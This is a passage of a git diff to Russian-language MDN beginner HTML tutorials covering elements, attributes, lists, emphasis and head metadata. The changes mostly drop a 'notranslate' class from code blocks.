ноги; он подумал: "Думаю, самое время вернуться к работе".</p></pre> diff --git a/files/ru/learn/html/introduction_to_html/getting_started/index.html b/files/ru/learn/html/introduction_to_html/getting_started/index.html index e186996164..2880672577 100644 --- a/files/ru/learn/html/introduction_to_html/getting_started/index.html +++ b/files/ru/learn/html/introduction_to_html/getting_started/index.html @@ -38,11 +38,11 @@ original_slug: Learn/HTML/Введение_в_HTML/Начало_работы <p>{{glossary("HTML")}} (HyperText Markup Language - язык гипертекстовой разметки) не является языком программирования; это <em>язык разметки</em>, используемый для определения структуры веб-страниц, посещаемых пользователями. Они могут иметь сложную или простую структуру, всё зависит от замысла и желания веб-разработчика. HTML состоит из ряда {{glossary("Element", "элементов")}}, которые вы используете для того, чтобы охватить, обернуть или <em>разметить</em> различные части содержимого, чтобы оно имело определённый вид или срабатывало определённым способом. Встроенные {{glossary("Tag", "тэги")}} могут преобразовать часть содержимого в гиперссылку, по которой можно перейти на другую веб-страницу, выделить курсивом слова и так далее. Например, рассмотрим следующую строку:</p> -<pre class="notranslate">Мой кот очень сердитый</pre> +<pre>Мой кот очень сердитый</pre> <p>Если мы хотим, чтобы строка отобразилась в таком же виде, мы можем определить её, как "параграф", заключив её в теги элемента "параграф" ({{htmlelement("p")}}), например:</p> -<pre class="brush: html notranslate"><p>Мой кот очень сердитый</p></pre> +<pre class="brush: html"><p>Мой кот очень сердитый</p></pre> <div class="note"> <p><strong>Примечание</strong>: Метки в HTML нечувствительны к регистру, то есть они могут быть записаны в верхнем или нижнем регистре. Например, тег {{htmlelement("title")}} может быть записан как <code><title></code>, <code><TITLE></code>, <code><Title></code>, <code><TiTlE></code>, и т.д., и он будет работать нормально. Лучшей практикой, однако, является запись всех тегов в нижнем регистре для обеспечения согласованности, удобочитаемости и других причин.</p> @@ -72,7 +72,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Начало_работы <div class="hidden"> <h6 id="Playable_code">Playable code</h6> -<pre class="brush: html notranslate"><h2>Результат</h2> +<pre class="brush: html"><h2>Результат</h2> <div class="output" style="min-height: 50px;"> </div> @@ -89,7 +89,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Начало_работы </div> </pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: 'Open Sans Light',Helvetica,Arial,sans-serif; } @@ -110,7 +110,7 @@ body { } </pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -195,11 +195,11 @@ textarea.onkeyup = function(){ <p>Вы также можете вкладывать элементы внутрь других элементов — это называется <strong>вложенностью</strong>. Если мы хотим подчеркнуть, что наш кот <strong>очень</strong> сердитый, мы можем заключить слово "очень" в элемент {{htmlelement("strong")}} , который означает, что это слово крайне важно в данном контексте:</p> -<pre class="brush: html notranslate"><p>Мой кот <strong>очень</strong> сердитый.</p></pre> +<pre class="brush: html"><p>Мой кот <strong>очень</strong> сердитый.</p></pre> <p>Вы должны удостовериться, что элементы вложены должным образом: в следующем примере мы открываем <code>p</code> элемент первым, затем элемент <code>strong</code>, затем мы закрываем элемент <code>strong</code> первым, затем <code>p</code>. Следующее писать неправильно:</p> -<pre class="example-bad brush: html notranslate"><p>Мой кот <strong>очень сердитый.</p></strong></pre> +<pre class="example-bad brush: html"><p>Мой кот <strong>очень сердитый.</p></strong></pre> <p>Элементы должны открываться и закрываться правильно таким образом, чтобы явно находиться внутри или снаружи друг друга. Если они перекрываются так, как в примере выше, то ваш браузер попытается «додумать» за вас, что вы имели в виду, и вы получите непредсказуемый результат. Так что не делайте так!</p> @@ -214,7 +214,7 @@ textarea.onkeyup = function(){ <p>Посмотрите на следующий пример:</p> -<pre class="brush: html notranslate"><em>Первый</em><em>второй</em><em>третий</em> +<pre class="brush: html"><em>Первый</em><em>второй</em><em>третий</em> <p>четвёртый</p><p>пятый</p><p>шестой</p> </pre> @@ -239,7 +239,7 @@ textarea.onkeyup = function(){ <p>Не все элементы соответствуют вышеупомянутому шаблону: открывающий тег, контент, закрывающий тег. Некоторые элементы состоят из одного тега и обычно используются для вставки чего-либо в то место документа, где размещены. Например, элемент {{htmlelement("img")}} вставляет картинку на страницу в том самом месте, где он расположен:</p> -<pre class="brush: html notranslate"><img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png"></pre> +<pre class="brush: html"><img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png"></pre> <p>Это выведет на вашу страницу следующее:</p> @@ -282,7 +282,7 @@ textarea.onkeyup = function(){ <div class="hidden"> <h6 id="Playable_code2">Playable code2</h6> -<pre class="brush: html notranslate"><h2>Результат</h2> +<pre class="brush: html"><h2>Результат</h2> <div class="output" style="min-height: 50px;"> </div> @@ -299,7 +299,7 @@ textarea.onkeyup = function(){ <input id="solution" type="button" value="Показать решение"> </div></pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: sans-serif; } @@ -319,7 +319,7 @@ body { background: #f5f9fa; }</pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -404,11 +404,11 @@ textarea.onkeyup = function(){ <p>Иногда вы будете видеть атрибуты, написанные без значения — это совершенно допустимо. Такие атрибуты называются булевые, и они могут иметь только одно значение, которое в основном совпадает с его именем. В качестве примера возьмём атрибут {{htmlattrxref("disabled", "input")}}, который можно назначить для формирования элементов ввода, если вы хотите, чтобы они были отключены (неактивны), так что пользователь не может вводить какие-либо данные в них.</p> -<pre class="notranslate"><input type="text" disabled="disabled"></pre> +<pre><input type="text" disabled="disabled"></pre> <p>Для краткости совершенно допустимо записывать их следующим образом (мы также для справки разместили не деактивированный элемент input, чтобы дать вам большее понимание происходящего):</p> -<pre class="brush: html notranslate"><input type="text" disabled> +<pre class="brush: html"><input type="text" disabled> <input type="text"> </pre> @@ -421,11 +421,11 @@ textarea.onkeyup = function(){ <p>Осматриваясь во всемирной сети, вы будете встречать различные незнакомые способы написания разметки, включая написание значений атрибутов без кавычек. Это допустимо при определённых условиях, но разрушит вашу разметку при других. Например, возвращаясь к нашему упражнению с гиперссылкой, мы можем написать основной вариант только с атрибутом <code>href</code> так:</p> -<pre class="brush: html notranslate"><a href=https://www.mozilla.org/>любимый веб-сайт</a></pre> +<pre class="brush: html"><a href=https://www.mozilla.org/>любимый веб-сайт</a></pre> <p>Однако, как только мы добавим атрибут <code>title</code> в таком же стиле, мы поступим неверно:</p> -<pre class="example-bad brush: html notranslate"><a href=https://www.mozilla.org/ title=The Mozilla homepage>favorite website</a></pre> +<pre class="example-bad brush: html"><a href=https://www.mozilla.org/ title=The Mozilla homepage>favorite website</a></pre> <p>В этом месте браузер неверно истолкует вашу разметку, думая, что атрибут <code>title</code> — это на самом деле три разных атрибута — атрибут title со значением "The" и два булевых атрибута: <code>Mozilla</code> и <code>homepage</code>. Это, очевидно, не то, что имелось в виду, и приведёт к ошибке или неожиданному поведению кода, как это показано в живом примере ниже. Попробуйте навести курсор на ссылку, чтобы увидеть, на что похож текст title!</p> @@ -437,31 +437,31 @@ textarea.onkeyup = function(){ <p>В этой статье вы заметите, что все атрибуты заключены в двойные кавычки. Однако, вы можете видеть одинарные кавычки в HTML документах других людей. Это исключительно дело вкуса, и вы можете свободно выбирать, какие из них предпочитаете. Обе следующие строки эквивалентны:</p> -<pre class="brush: html notranslate"><a href="http://www.example.com">Ссылка к моему примеру.</a> +<pre class="brush: html"><a href="http://www.example.com">Ссылка к моему примеру.</a> <a href='http://www.example.com'>Ссылка к моему примеру.</a></pre> <p>Однако вы должны убедиться, что не смешиваете их вместе. Следующее будет неверным!</p> -<pre class="example-bad brush: html notranslate"><a href="http://www.example.com'>Ссылка к моему примеру.</a></pre> +<pre class="example-bad brush: html"><a href="http://www.example.com'>Ссылка к моему примеру.</a></pre> <p>Если вы используете один тип кавычек в своём HTML, то вы можете поместить внутрь их кавычки другого типа, не вызывая никаких проблем:</p> -<pre class="brush: html notranslate"><a href="http://www.example.com" title="Isn't this fun?">A link to my example.</a></pre> +<pre class="brush: html"><a href="http://www.example.com" title="Isn't this fun?">A link to my example.</a></pre> <p>Если вы хотите вставить кавычки того же типа, то вы должны использовать <a href="/ru/docs/Learn/HTML/Introduction_to_HTML/Getting_started#entity_references_including_special_characters_in_html">объекты HTML</a>. Например, это работать не будет:</p> -<pre class="example-bad brush: html notranslate"><a href='http://www.example.com' title='Isn't this fun?'>A link to my example.</a></pre> +<pre class="example-bad brush: html"><a href='http://www.example.com' title='Isn't this fun?'>A link to my example.</a></pre> <p>Поэтому вам нужно сделать так:</p> -<pre class="brush: html notranslate"><a href='http://www.example.com' title='Isn&#39;t this fun?'>A link to my example.</a></pre> +<pre class="brush: html"><a href='http://www.example.com' title='Isn&#39;t this fun?'>A link to my example.</a></pre> <h2 id="Структура_HTML_документа">Структура HTML документа</h2> <p>Ниже дан пример оборачивания основных, самостоятельных HTML-элементов, которые сами по себе не очень полезны. Давайте посмотрим, как самостоятельные элементы объединяются для формирования всей HTML страницы:</p> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -477,7 +477,7 @@ textarea.onkeyup = function(){ <ol> <li><code><!DOCTYPE html></code>: Объявление типа документа. Очень давно, ещё когда HTML был молод (1991/2), типы документов использовались в качестве ссылок на набор правил, которым HTML-страница должна была следовать, чтобы она считалась хорошей, что может означать автоматическую проверку ошибок и другие полезные вещи. Объявление типа документа выглядело примерно вот так: - <pre class="notranslate"><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" + <pre><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"></pre> Однако в наши дни никто особо не думает о них, и типы документа стали историческим артефактом, которые должны быть включены везде, чтобы всё работало правильно. <code><!DOCTYPE html></code> — это самый короткий вид типа документа, который считается действующим. На самом деле это всё, что нужно вам знать о типах документов .</li> <li><code><html></html></code>: Элемент {{htmlelement("html")}} содержит в себе всё содержимое на всей странице, и иногда его называют "корневой элемент". </li> @@ -520,7 +520,7 @@ textarea.onkeyup = function(){ <div class="hidden"> <h6 id="Playable_code3">Playable code3</h6> -<pre class="brush: html notranslate"><h2>Результат</h2> +<pre class="brush: html"><h2>Результат</h2> <div class="output" style="min-height: 50px;"> </div> @@ -537,7 +537,7 @@ textarea.onkeyup = function(){ <input id="solution" type="button" value="Показать решение"> </div></pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: sans-serif; } @@ -561,7 +561,7 @@ body { background: #f5f9fa; }</pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -646,7 +646,7 @@ textarea.onkeyup = function(){ <p>Вы могли заметить, что в примерах кода из этой статьи много пробелов. Это вовсе не обязательно — следующие два примера эквивалентны:</p> -<pre class="brush: html notranslate"><p>Собаки глупы.</p> +<pre class="brush: html"><p>Собаки глупы.</p> <p>Собаки глупы.</p></pre> @@ -692,7 +692,7 @@ textarea.onkeyup = function(){ <p>В следующем примере вы видите два абзаца, которые рассказывают о веб-технологиях:</p> -<pre class="brush: html notranslate"><p>В HTML вы определяете параграф элементом <p>.</p> +<pre class="brush: html"><p>В HTML вы определяете параграф элементом <p>.</p> <p>В HTML вы определяете параграф элементом &lt;p&gt;.</p></pre> @@ -710,7 +710,7 @@ textarea.onkeyup = function(){ <p>Чтобы превратить часть содержимого HTML-файла в комментарий, нужно поместить её в специальные маркеры <code><!--</code> и <code>--></code>, например:</p> -<pre class="brush: html notranslate"><p> Меня нет в комментариях( </p> +<pre class="brush: html"><p> Меня нет в комментариях( </p> <!-- <p>А теперь есть!</p> --></pre> diff --git a/files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html b/files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html index ba4682f821..4117972ba6 100644 --- a/files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html +++ b/files/ru/learn/html/introduction_to_html/html_text_fundamentals/index.html @@ -46,11 +46,11 @@ original_slug: Learn/HTML/Введение_в_HTML/HTML_text_fundamentals <p>В HTML каждый абзац заключён в элемент {{htmlelement("p")}}, подобно:</p> -<pre class="brush: html notranslate"><p>Я параграф, да, это я.</p></pre> +<pre class="brush: html"><p>Я параграф, да, это я.</p></pre> <p>Каждый заголовок заключён в элемент заголовка {{htmlelement("h1")}}:</p> -<pre class="brush: html notranslate"><h1>Я заголовок истории.</h1></pre> +<pre class="brush: html"><h1>Я заголовок истории.</h1></pre> <p>Имеется шесть элементов заголовка: {{htmlelement("h1")}}, {{htmlelement("h2")}}, {{htmlelement("h3")}}, {{htmlelement("h4")}}, {{htmlelement("h5")}} и {{htmlelement("h6")}}. Каждый элемент представляет разный уровень контента в документе; <code><h1></code> представляет главный заголовок, <code><h2></code> представляет подзаголовки, <code><h3></code> представляет под-подзаголовки и так далее.</p> @@ -58,7 +58,7 @@ original_slug: Learn/HTML/Введение_в_HTML/HTML_text_fundamentals <p>Например, в рассказе <code><h1></code> будет представлять заглавие рассказа, <code><h2></code> обозначит название каждой главы, <code><h3></code> будет обозначать подзаголовки в каждой главе и так далее.</p> -<pre class="brush: html notranslate"><h1> Сокрушительная скука </ h1> +<pre class="brush: html"><h1> Сокрушительная скука </ h1> <p> Крис Миллс </ p> @@ -111,7 +111,7 @@ original_slug: Learn/HTML/Введение_в_HTML/HTML_text_fundamentals <div class="hidden"> <h6 id="Playable_code">Playable code</h6> -<pre class="brush: html notranslate"><h2>Результат</h2> +<pre class="brush: html"><h2>Результат</h2> <div class="output" style="min-height: 50px;"> </div> @@ -128,7 +128,7 @@ original_slug: Learn/HTML/Введение_в_HTML/HTML_text_fundamentals <input id="solution" type="button" value="Показать решение"> </div></pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: 'Open Sans Light',Helvetica,Arial,sans-serif; } @@ -162,7 +162,7 @@ h2 { </pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -242,13 +242,13 @@ textarea.onkeyup = function(){ <p><span id="result_box" lang="ru"><span>В подобном ключе нам нужно убедиться, что мы используем правильные элементы, придавая нашему контенту правильное значение, функцию или внешний вид.</span> <span>В этом контексте элемент {{htmlelement ("h1")}} также является семантическим элементом, который даёт тексту, который он обёртывает, роль (или значение) «заголовка верхнего уровня на вашей странице».</span></span></p> -<pre class="brush: html notranslate"><h1>Это заголовок верхнего уровня</h1></pre> +<pre class="brush: html"><h1>Это заголовок верхнего уровня</h1></pre> <p><span id="result_box" lang="ru"><span>По умолчанию браузер придаст ему большой размер шрифта, чтобы он выглядел как заголовок (хотя вы можете стилизовать его как угодно, используя CSS).</span> <span>Что ещё более важно, его семантическое значение будет использоваться несколькими способами, например, поисковыми системами и программами чтения с экрана (как упоминалось выше).</span></span></p> <p><span id="result_box" lang="ru"><span>С другой стороны, вы можете сделать любой элемент похожим на заголовок верхнего уровня.</span> <span>Рассмотрим следующее:</span></span></p> -<pre class="brush: html notranslate"><span style="font-size: 32px; margin: 21px 0;">Это заголовок верхнего уровня?</span></pre> +<pre class="brush: html"><span style="font-size: 32px; margin: 21px 0;">Это заголовок верхнего уровня?</span></pre> <p><span id="result_box" lang="ru"><span>Это элемент {{htmlelement ("span")}}.</span> <span>У него нет семантики.</span> <span>Вы используете его, когда хотите применить к контенту CSS (или сделать что-то с ним с помощью JavaScript), не придавая ему никакого дополнительного значения (об этом вы узнаете позже). Мы применили CSS,</span> <span>чтобы он выглядел как заголовок верхнего уровня, но поскольку он не имеет семантического значения, он не получит никаких дополнительных преимуществ, описанных выше.</span> <span>Рекомендуется использовать соответствующий элемент HTML на практике.</span></span></p> @@ -260,7 +260,7 @@ textarea.onkeyup = function(){ <p><span id="result_box" lang="ru"><span>Неупорядоченные списки используются для элементов, для которых порядок не имеет значения, — возьмём, к примеру, список покупок:</span></span></p> -<pre class="notranslate">молоко +<pre>молоко яйца хлеб хумус</pre> @@ -269,7 +269,7 @@ textarea.onkeyup = function(){ <p><span id="result_box" lang="ru"><span>Последний шаг состоит в том, чтобы обернуть каждый элемент списка в элемент {{htmlelement ("li")}} (элемент списка):</span></span></p> -<pre class="brush: html notranslate"><ul> +<pre class="brush: html"><ul> <li>молоко</li> <li>яйца</li> <li>хлеб</li> @@ -283,7 +283,7 @@ textarea.onkeyup = function(){ <div class="hidden"> <h6 id="Playable_code_2">Playable code</h6> -<pre class="brush: html notranslate"><code><h2>Результат</h2> +<pre class="brush: html"><code><h2>Результат</h2> <div class="output" style="min-height: 50px;"> </div> @@ -301,7 +301,7 @@ textarea.onkeyup = function(){ <input id="solution" type="button" value="Показать решение"> </div></code></pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: 'Open Sans Light',Helvetica,Arial,sans-serif; } @@ -335,7 +335,7 @@ h2 { </pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -413,7 +413,7 @@ textarea.onkeyup = function(){ <p><span id="result_box" lang="ru"><span>Упорядоченные списки — это списки, в которых порядок элементов имеет значение, — возьмём в качестве примера маршрут следования:</span></span></p> -<pre class="notranslate">Двигайтесь до конца дороги +<pre>Двигайтесь до конца дороги Поверните направо Езжайте прямо через первые два перекрёстка с круговым движением Поверните налево на третьем перекрёстке @@ -421,7 +421,7 @@ textarea.onkeyup = function(){ <p><span id="result_box" lang="ru"><span>Структура разметки такая же, как для неупорядоченных списков, за исключением того, что вы должны обернуть элементы списка в элемент {{htmlelement ("ol")}} (ordered list), а не <ul>:</span></span></p> -<pre class="brush: html notranslate"><ol> +<pre class="brush: html"><ol> <li>Двигайтесь до конца дороги</li> <li>Поверните направо</li> <li>Езжайте прямо через первые два перекрёстка с круговым движением</li> @@ -436,7 +436,7 @@ textarea.onkeyup = function(){ <div class="hidden"> <h6 id="Playable_code_3">Playable code</h6> -<pre class="brush: html notranslate"><code><h2>Результат</h2> +<pre class="brush: html"><code><h2>Результат</h2> <div class="output" style="min-height: 50px;"> </div> <h2>Редактируемый код</h2> @@ -453,7 +453,7 @@ textarea.onkeyup = function(){ <input id="solution" type="button" value="Показать решение"> </div></code></pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: 'Open Sans Light',Helvetica,Arial,sans-serif; } @@ -487,7 +487,7 @@ h2 { </pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -568,7 +568,7 @@ textarea.onkeyup = function(){ <div class="hidden"> <h6 id="Playable_code_4">Playable code</h6> -<pre class="brush: html notranslate"><h2>Результат</h2> +<pre class="brush: html"><h2>Результат</h2> <div class="output" style="min-height: 50px;"> </div> @@ -614,7 +614,7 @@ textarea.onkeyup = function(){ <input id="solution" type="button" value="Показать решение"> </div></pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: 'Open Sans Light',Helvetica,Arial,sans-serif; } @@ -647,7 +647,7 @@ h2 { } </pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -727,7 +727,7 @@ textarea.onkeyup = function(){ <p><span id="result_box" lang="ru"><span>Вполне нормально вложить один список в другой.</span> <span>Возможно, вы захотите, чтобы один список располагался внутри другого.</span> <span>Давайте возьмём второй список из нашего примера рецепта:</span></span></p> -<pre class="brush: html notranslate"><ol> +<pre class="brush: html"><ol> <li>Очистите чеснок от кожуры и крупно нарежьте.</li> <li>Удалите стебель и семена у перца; крупно нарежьте перец.</li> <li>Добавьте все ингредиенты в пищевой комбайн.</li> @@ -740,7 +740,7 @@ textarea.onkeyup = function(){ <div class="trans-verified-button-small" dir="ltr" id="gt-res-dir-ctr"><span id="result_box" lang="ru"><span>Поскольку последние две строки очень тесно связаны с тем, что было до них (они читаются как вспомогательные инструкции или варианты, которые подходят под этой маркой), может иметь смысл вложить их в свой собственный неупорядоченный список и поместить этот список внутри текущего</span><span>.</span> <span>Это будет выглядеть так:</span></span></div> </div> -<pre class="brush: html notranslate"><ol> +<pre class="brush: html"><ol> <li>Очистите чеснок от кожуры и крупно нарежьте.</li> <li>Удалите стебель и семена у перца; крупно нарежьте перец.</li> <li>Добавьте все ингредиенты в пищевой комбайн.</li> @@ -774,7 +774,7 @@ textarea.onkeyup = function(){ <p><span id="result_box" lang="ru"><span>В таких случаях в HTML используется элемент {{htmlelement ("em")}} (выделение).</span> <span>Кроме того, чтобы сделать документ более интересным для чтения, они распознаются программами, считывающими с экрана, и произносятся другим тоном.</span> <span>Браузеры стилизуют это по умолчанию курсивом, но вы можете не использовать этот тег, чтобы получить курсив.</span> <span>Для выделения курсивом вы можете использовать элемент {{htmlelement ("span")}} и CSS, или, возможно, элемент {{htmlelement ("i")}} (смотрите ниже).</span></span></p> -<pre class="brush: html notranslate"><p>Я <em>рад</em>, что ты не <em>опоздал</em>.</p></pre> +<pre class="brush: html"><p>Я <em>рад</em>, что ты не <em>опоздал</em>.</p></pre> <h3 id="Важное_значение"><span class="short_text" id="result_box" lang="ru"><span>Важное значение</span></span></h3> @@ -786,13 +786,13 @@ textarea.onkeyup = function(){ <p><span id="result_box" lang="ru"><span>В таких случаях в HTML используется элемент {{htmlelement ("strong")}} (важное значение).</span> <span>Помимо того, что документ становится более полезным, они распознаются программами, считывающими с экрана, и говорят другим тоном.</span> <span>Браузеры стилизуют это как полужирный текст по умолчанию, но вы можете не использовать этот тег, чтобы получить</span></span><span lang="ru"><span> жирный шрифт.</span> <span>Для получения жирного шрифта вы можете использовать элемент {{htmlelement ("span")}} и CSS, или, возможно, элемент {{htmlelement ("b")}} (</span></span><span id="result_box" lang="ru"><span>смотрите ниже</span></span><span lang="ru"><span>).</span></span></p> -<pre class="brush: html notranslate"><p>Эта жидкость <strong>очень токсична</strong>.</p> +<pre class="brush: html"><p>Эта жидкость <strong>очень токсична</strong>.</p> <p>Я рассчитываю на тебя. <strong>Не </strong>опаздывай!</p></pre> <p><span id="result_box" lang="ru"><span>При желании вы можете вложить важные и акцентированные слова друг в друга:</span></span></p> -<pre class="brush: html notranslate"><p>Эта жидкость <strong>очень токсична</strong> — +<pre class="brush: html"><p>Эта жидкость <strong>очень токсична</strong> — если ты выпьешь её, <strong>то можешь<em>умереть</em></strong>.</p></pre> <h3 id="Активное_изучение_Давайте_будем_важны!">Активное изучение: <span class="short_text" id="result_box" lang="ru"><span>Давайте будем важны!</span></span></h3> @@ -802,7 +802,7 @@ textarea.onkeyup = function(){ <div class="hidden"> <h6 id="Playable_code_5">Playable code</h6> -<pre class="brush: html notranslate"><h2>Результат</h2> +<pre class="brush: html"><h2>Результат</h2> <div class="output" style="min-height: 50px;"> </div> @@ -824,7 +824,7 @@ textarea.onkeyup = function(){ <input id="solution" type="button" value="Показать решение"> </div></pre> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { font-family: sans-serif; } @@ -844,7 +844,7 @@ body { background: #f5f9fa; }</pre> -<pre class="brush: js notranslate">var textarea = document.getElementById('code'); +<pre class="brush: js">var textarea = document.getElementById('code'); var reset = document.getElementById('reset'); var solution = document.getElementById('solution'); var output = document.querySelector('.output'); @@ -947,7 +947,7 @@ textarea.onkeyup = function(){ <p><span id="result_box" lang="ru"><span>Предупреждение о подчёркивании:<strong> люди сильно ассоциируют подчёркивание с гиперссылками</strong>.</span> <span>Поэтому в Интернете лучше всего подчеркнуть только ссылки.</span> <span>Используйте элемент <u>, когда он семантически подходит, но подумайте о том, чтобы использовать CSS для изменения подчёркивания по умолчанию для чего-то более подходящего в Интернете.</span> <span>Пример ниже иллюстрирует, как это можно сделать.</span></span></p> </div> -<pre class="brush: html notranslate"><!-- Научные наименования --> +<pre class="brush: html"><!-- Научные наименования --> <p> Колибри обыкновенный (<i>архилоус обыкновенный</i>) — наиболее часто встречающийся вид колибри в северо-восточной Америке. diff --git a/files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html b/files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html index 81bd9f709d..2b66c1fde3 100644 --- a/files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html +++ b/files/ru/learn/html/introduction_to_html/the_head_metadata_in_html/index.html @@ -49,7 +49,7 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML <p>Давайте снова посмотрим на <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_HTML/%D0%9D%D0%B0%D1%87%D0%B0%D0%BB%D0%BE_%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%8B#%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%B0_HTML_%D0%B4%D0%BE%D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D0%B0">HTML-документ из прошлой статьи</a>:</p> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -62,7 +62,7 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML <p>Содержимое {{htmlelement("head")}}, в отличие от содержимого элемента {{htmlelement("body")}}, не отображается на странице. Задача <head> — хранить {{glossary("Metadata", "метаданные")}} документа. В приведённом выше примере <head> совсем небольшой:</p> -<pre class="brush: html notranslate"><head> +<pre class="brush: html"><head> <meta charset="utf-8"> <title>Моя тестовая страница</title> </head></pre> @@ -108,7 +108,7 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML <p>В заголовке примера выше есть следующая строка:</p> -<pre class="brush: html notranslate"><meta charset="utf-8"></pre> +<pre class="brush: html"><meta charset="utf-8"></pre> <p>В этом элементе указана кодировка документа — набор символов, которые в нём можно использовать . <code>utf-8</code> — универсальный набор символов, который включает почти все символы со всех языков человечества. Такая веб-страница сможет работать с любым языком. Установить эту кодировку на всех веб-странице, которые вы создаёте — отличная идея! Страница в такой кодировке прекрасно отображает как английские, так и японские символы:</p> @@ -124,7 +124,7 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML <p>Чтобы проверить это, вернитесь к HTML из примера <code><title></code> (странице <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html">title-example.html</a>), поменяйте meta charset на <code>ISO-8859-1</code> и попробуйте написать что-нибудь на японском или русском. Вот текст из нашего примера (кстати, там написано <em>«рис горячий»</em>):</p> -<pre class="brush: html notranslate"><p>Пример на японском: ご飯が熱い。</p></pre> +<pre class="brush: html"><p>Пример на японском: ご飯が熱い。</p></pre> <h3 id="Указываем_автора_и_описание">Указываем автора и описание</h3> @@ -137,7 +137,7 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML <p>Два полезных элемента метаданных — указание автора страницы и краткое описание её содержимого. Рассмотрим эти элементы на примере:</p> -<pre class="brush: html notranslate"><meta name="author" content="Крис Миллс"> +<pre class="brush: html"><meta name="author" content="Крис Миллс"> <meta name="description" content="Задача MDN — в том, чтобы обучить новичков всему тому, что нужно им для разработки веб-сайтов и приложений."></pre> @@ -153,7 +153,7 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML <li>Перейдите на<a href="https://developer.mozilla.org/en-US/"> главную страницу Mozilla Developer Network</a>.</li> <li>Откройте исходный код страницы (кликните правой кнопкой мыши и выберите <em>Просмотреть код</em> в контекстном меню.)</li> <li>Найдите тег meta с описанием. Он выглядит так: - <pre class="brush: html notranslate"><meta name="description" content="Веб-документация на MDN + <pre class="brush: html"><meta name="description" content="Веб-документация на MDN предоставляет собой информацию об открытых веб-технологиях, включая HTML, CSS и различные API для веб-сайтов и прогрессивных веб-приложений. Также на сайте содержатся материалы @@ -178,7 +178,7 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML <p>Например, <a href="https://ruogp.me/">Протокол Open Graph</a> создан Facebook чтобы предоставить сайтам дополнительные возможности использования метаданных. В исходном коде MDN Web Docs вы можете найти строки:</p> -<pre class="brush: html notranslate"><meta property="og:image" content="/static/img/opengraph-logo.72382e605ce3.png"> +<pre class="brush: html"><meta property="og:image" content="/static/img/opengraph-logo.72382e605ce3.png"> <meta property="og:description" content="Веб-документация на MDN предоставляет собой информацию об открытых веб-технологиях, включая HTML, CSS и различные API для веб-сайтов и прогрессивных веб-приложений. Также на сайте содержатся материалы для разработчиков о таких @@ -189,7 +189,7 @@ original_slug: Learn/HTML/Введение_в_HTML/The_head_metadata_in_HTML <p><img alt="Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description." src="https://mdn.mozillademos.org/files/12349/facebook-output.png" style="display: block; margin: 0 auto;">У Twitter также есть собственный формат метаданных, с помощью которого создаётся аналогичный эффект, при отображении URL сайта на twitter.com:</p> -<pre class="brush: html notranslate"><meta name="twitter:title" content="MDN Web 